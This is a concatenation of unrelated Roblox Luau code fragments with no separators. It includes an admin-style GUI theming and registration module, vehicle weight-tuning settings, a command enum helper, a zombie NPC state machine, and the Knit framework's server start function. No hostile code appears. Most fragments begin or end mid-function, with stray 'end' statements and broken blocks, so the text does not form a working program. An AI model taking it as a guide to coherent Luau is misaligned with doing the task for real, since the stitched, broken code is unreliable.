folder:FindFirstChild(name) --local foundGUI = (baseValue and folder:FindFirstChild(name)) or UIFolder.Default:FindFirstChild(name) if foundGUI then local config = foundGUI:FindFirstChild("Config") table.insert(foundConfigs, { Theme = theme; Folder = folder; Name = name; Found = foundGUI; Config = config; isModule = foundGUI:IsA("ModuleScript"); }) if config then baseValue = config:FindFirstChild("BaseTheme") or baseValue baseTheme = baseValue and baseValue.Value end end if baseTheme and depth > 0 then if UI.DefaultTheme and baseTheme == "Default" and theme ~= UI.DefaultTheme and not debounce then func(UI.DefaultTheme, name, depth) else debounce = true func(baseTheme, name, depth) end end end end --// Find GUI and all default versions under it func(theme, name) confFolder.Name = "Config" --// Create the final config for the found GUI. if #foundConfigs > 0 then --// Combine all configs found in order to build full config (in order of closest from target gui to furthest) for i,v in pairs(foundConfigs) do if v.Config then for k,m in ipairs(v.Config:GetChildren()) do if not endConfig[m.Name] then if string.sub(m.Name, 1, 5) == "NoEnv" then endConfig["Code"] = m end endConfig[m.Name] = m end end end end --// Load all config values into the new Config folder for i,v in pairs(endConfig) do v:Clone().Parent = confFolder; end --// Find next module based theme GUI if code not found or first in sequence is module (in theme) if foundConfigs[1].isModule then return foundConfigs[1].Found, foundConfigs[1].Folder, confFolder elseif not endConfig.Code then warn("Window config missing code.lua. Are your Base_Themes correct? client.UI.GetNew line 236") end --// Get rid of an old Config folder and throw the new combination Config folder in local new = foundConfigs[1].Found:Clone() local oldFolder = new:FindFirstChild'Config' if oldFolder then oldFolder:Destroy() end confFolder.Parent = new return new, foundConfigs[1].Folder, confFolder end end; Make = function(name, data, themeData) local data = data or {} local defaults = {Desktop = "Default"; Mobile = "Mobilius"} local themeData = themeData or Variables.LastServerTheme or defaults local theme = Variables.CustomTheme or (service.IsMobile() and themeData.Mobile) or themeData.Desktop local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default local newGui, folder2, foundConf = UI.GetNew(theme, name) if newGui then local isModule = newGui:IsA("ModuleScript") local conf = newGui:FindFirstChild("Config") local mod = conf and (conf:FindFirstChild("Modifier") or conf:FindFirstChild("NoEnv-Modifier")) data.modNoEnv = mod and string.sub(mod.Name, 1, 5) == "NoEnv" if isModule then return UI.LoadModule(newGui, data, { script = newGui; }) elseif conf and foundConf and foundConf ~= true then local code = foundConf:FindFirstChild("Code") or foundConf:FindFirstChild("NoEnv-Code") data.NoEnv = code and string.sub(code.Name, 1, 5) == "NoEnv" local mult = foundConf.AllowMultiple local keep = foundConf.CanKeepAlive local allowMult = mult and mult.Value or true local found, num = UI.Get(name) if not found or ((num and num>0) and allowMult) then local gTable,gIndex = UI.Register(newGui) local newEnv = {} if folder:IsA("ModuleScript") then local folderNoEnv = string.sub(folder.Name, 1, 5) == "NoEnv" newEnv.script = folder newEnv.gTable = gTable local ran, func = pcall(require, folder) local newEnv = GetEnv(newEnv) local rets = { folderNoEnv and pcall(func, newGui, gTable, data, newEnv) or pcall(setfenv(func, newEnv), newGui, gTable, data, newEnv) } local ran = rets[1] local ret = rets[2] if ret ~= nil then if type(ret) == "userdata" and Anti.GetClassName(ret) == "ScreenGui" then code = (ret:FindFirstChild("Config") and (ret.Config:FindFirstChild("Code") or ret.Config:FindFirstChild("NoEnv-Code"))) or code data.NoEnv = code and string.sub(code.Name, 1, 5) == "NoEnv" else return ret end end end newGui.Parent = Variables.GUIHolder newGui.Name = Functions.GetRandom() data.gIndex = gIndex data.gTable = gTable code.Parent = conf code.Name = name if mod then UI.LoadModule(mod, data, { script = mod; gTable = gTable; Data = data; GUI = newGui; }) end return UI.LoadModule(code, data, { script = code; gTable = gTable; Data = data; GUI = newGui; }) end end else print("GUI", name, "not found") end end; Get = function(obj,ignore,returnOne) local found = {} local num = 0 if obj then for ind,g in pairs(client.GUIs) do if g.Name ~= ignore and g.Object ~= ignore and g ~= ignore then if type(obj) == "string" then if g.Name == obj then found[ind] = g num = num+1 if returnOne then return g end end elseif type(obj) == "userdata" then if service.RawEqual(g.Object, obj) then found[ind] = g num = num+1 if returnOne then return g end end elseif type(obj) == "boolean" and obj == true then found[ind] = g num = num+1 if returnOne then return g end end end end end if num<1 then return false else return found,num end end; Remove = function(name, ignore) local gui = UI.Get(name, ignore) if gui then for i,v in pairs(gui) do v.Destroy() end end end; Register = function(gui, data) local gIndex = Functions.GetRandom() local gTable;gTable = { Object = gui, Config = gui:FindFirstChild'Config'; Name = gui.Name, Events = {}, Class = gui.ClassName, Index = gIndex, Active = true, Ready = function() if gTable.Config then gTable.Config.Parent = nil end local ran,err = pcall(function() local obj = gTable.Object; if gTable.Class == "ScreenGui" or gTable.Class == "GuiMain" then if obj.DisplayOrder == 0 then obj.DisplayOrder = 90000 end obj.Enabled = true obj.Parent = service.PlayerGui else obj.Parent = UI.GetHolder() end end); if ran then gTable.Active = true else warn("Something happened while trying to set the parent of", gTable.Name) warn(err) gTable:Destroy() end end, BindEvent = function(event, func) local signal = event:Connect(func) local origDisc = signal.Disconnect local Events = gTable.Events local disc = function() origDisc(signal) for i,v in pairs(Events) do if v.Signal == signal then table.remove(Events, i) end end end table.insert(Events, { Signal = signal; Remove = disc }) return { Disconnect = disc; disconnect = disc; wait = service.CheckProperty(signal, "wait") and signal.wait }, signal end, ClearEvents = function() for i,v in pairs(gTable.Events) do v:Remove() end end, Destroy = function() pcall(function() if gTable.CustomDestroy then gTable.CustomDestroy() else service.UnWrap(gTable.Object):Destroy() end end) gTable.Destroyed = true gTable.Active = false client.GUIs[gIndex] = nil gTable.ClearEvents() end, UnRegister = function() client.GUIs[gIndex] = nil if gTable.AncestryEvent then gTable.AncestryEvent:Disconnect() end end, Register = function(tab,new) if not new then new = tab end new:SetSpecial("Destroy", gTable.Destroy) gTable.Object = service.Wrap(new) gTable.Class = new.ClassName if gTable.AncestryEvent then gTable.AncestryEvent:Disconnect() end gTable.AncestryEvent = new.AncestryChanged:Connect(function(c, parent) if client.GUIs[gIndex] then if rawequal(c, gTable.Object) and gTable.Class == "TextLabel" and parent == service.PlayerGui then wait() gTable.Object.Parent = UI.GetHolder() elseif rawequal(c, gTable.Object) and parent == nil and not gTable.KeepAlive then gTable:Destroy() elseif rawequal(c, gTable.Object) and parent ~= nil then gTable.Active = true client.GUIs[gIndex] = gTable end end end) client.GUIs[gIndex] = gTable end } if data then for i,v in pairs(data) do gTable[i] = v end end gui.Name = Functions.GetRandom() gTable:Register(gui) return gTable,gIndex end } client.UI.RegisterGui = client.UI.Register client.UI.GetGui = client.UI.Get client.UI.PrepareGui = client.UI.Prepare client.UI.MakeGui = client.UI.Make end
----- Information Panel Locals -----
local InformationText = script.Parent.Parent.Parent.InformationFrame.Variables.InformationText local InformationCaseText = script.Parent.Parent.Parent.InformationFrame.Variables.CaseCollectionText local InformationImage = script.Parent.Parent.Parent.InformationFrame.Variables.CurrentSkin
--[[Weight and CG]]
Tune.Weight = 3450 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] .8 , --[[Height]] 1/3 , --[[Length]] 1.2 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .7 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .4 -- Front Wheel Density Tune.RWheelDensity = .4 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--- Makes an Enum type.
function Util.MakeEnumType(name, values) local findValue = Util.MakeFuzzyFinder(values) return { Validate = function(text) return findValue(text, true) ~= nil, ("Value %q is not a valid %s."):format(text, name) end, Autocomplete = function(text) local list = findValue(text) return type(list[1]) ~= "string" and Util.GetNames(list) or list end, Parse = function(text) return findValue(text, true) end } end
-- if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then -- model.Humanoid.Jump = true -- end
end end end PursueState.Init = function() end -- AttackState: Keep moving towards target and play attack animation. local AttackState = StateMachine.NewState() AttackState.Name = "Attack" local lastAttack = os.time() local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack) AttackState.Action = function() model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position) local now = os.time() if now - lastAttack > 3 then lastAttack = now attackTrack:Play() end end -- HuntState: Can't see target but NPC will move to target's last known location. -- Will eventually get bored and switch state. local HuntState = StateMachine.NewState() HuntState.Name = "Hunt" HuntState.Action = function() if ZombieTargetLastLocation then PathLib:MoveToTarget(model, ZombieTargetLastLocation) end end HuntState.Init = function() lastBored = os.time() + configs["BoredomDuration"] / 2 end -- CONDITION DEFINITIONS -- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and -- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed -- greater than 0 (this is to ignore inanimate objects that happen to use humanoids) local CanSeeTarget = StateMachine.NewCondition() CanSeeTarget.Name = "CanSeeTarget" CanSeeTarget.Evaluate = function() if model then -- Get list of all nearby Zombies and non-Zombie humanoids -- Zombie list is used to ignore zombies during later raycast local humanoids = HumanoidList:GetCurrent() local zombies = {} local characters = {} for _, object in pairs(humanoids) do if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then local torso = object.Parent:FindFirstChild("HumanoidRootPart") if torso then if not model:FindFirstChild("HumanoidRootPart") then continue end local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude if distance <= configs["AggroRange"] then if object.Parent.Name == "Drooling Zombie" then table.insert(zombies, object.Parent) else table.insert(characters, object.Parent) end end end end end local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"]) if target then ZombieTarget = target return true end
--[=[ @return Promise Starts Knit. Should only be called once. Optionally, `KnitOptions` can be passed in order to set Knit's custom configurations. :::caution Be sure that all services have been created _before_ calling `Start`. Services cannot be added later. ::: ```lua Knit.Start():andThen(function() print("Knit started!") end):catch(warn) ``` Example of Knit started with options: ```lua Knit.Start({ Middleware = { Inbound = { function(player, args) print("Player is giving following args to server:", args) return true end } } }):andThen(function() print("Knit started!") end):catch(warn) ``` ]=]
function KnitServer.Start(options: KnitOptions?) if started then return Promise.reject("Knit already started") end started = true if options == nil then selectedOptions = defaultOptions else assert(typeof(options) == "table", "KnitOptions should be a table or nil; got " .. typeof(options)) selectedOptions = options for k,v in pairs(defaultOptions) do if selectedOptions[k] == nil then selectedOptions[k] = v end end end return Promise.new(function(resolve) local knitMiddleware = selectedOptions.Middleware or {} -- Bind remotes: for _,service in pairs(services) do local middleware = service.Middleware or {} local inbound = middleware.Inbound or knitMiddleware.Inbound local outbound = middleware.Outbound or knitMiddleware.Outbound service.Middleware = nil for k,v in pairs(service.Client) do if type(v) == "function" then service.KnitComm:WrapMethod(service.Client, k, inbound, outbound) elseif v == SIGNAL_MARKER then service.Client[k] = service.KnitComm:CreateSignal(k, inbound, outbound) elseif type(v) == "table" and v[1] == PROPERTY_MARKER then service.Client[k] = service.KnitComm:CreateProperty(k, v[2], inbound, outbound) end end end -- Init: local promisesInitServices = {} for _,service in pairs(services) do if type(service.KnitInit) == "function" then table.insert(promisesInitServices, Promise.new(function(r) service:KnitInit() r() end)) end end resolve(Promise.all(promisesInitServices)) end):andThen(function() -- Start: for _,service in pairs(services) do if type(service.KnitStart) == "function" then task.spawn(service.KnitStart, service) end end startedComplete = true onStartedComplete:Fire() task.defer(function() onStartedComplete:Destroy() end) -- Expose service remotes to everyone: knitRepServiceFolder.Parent = script.Parent end) end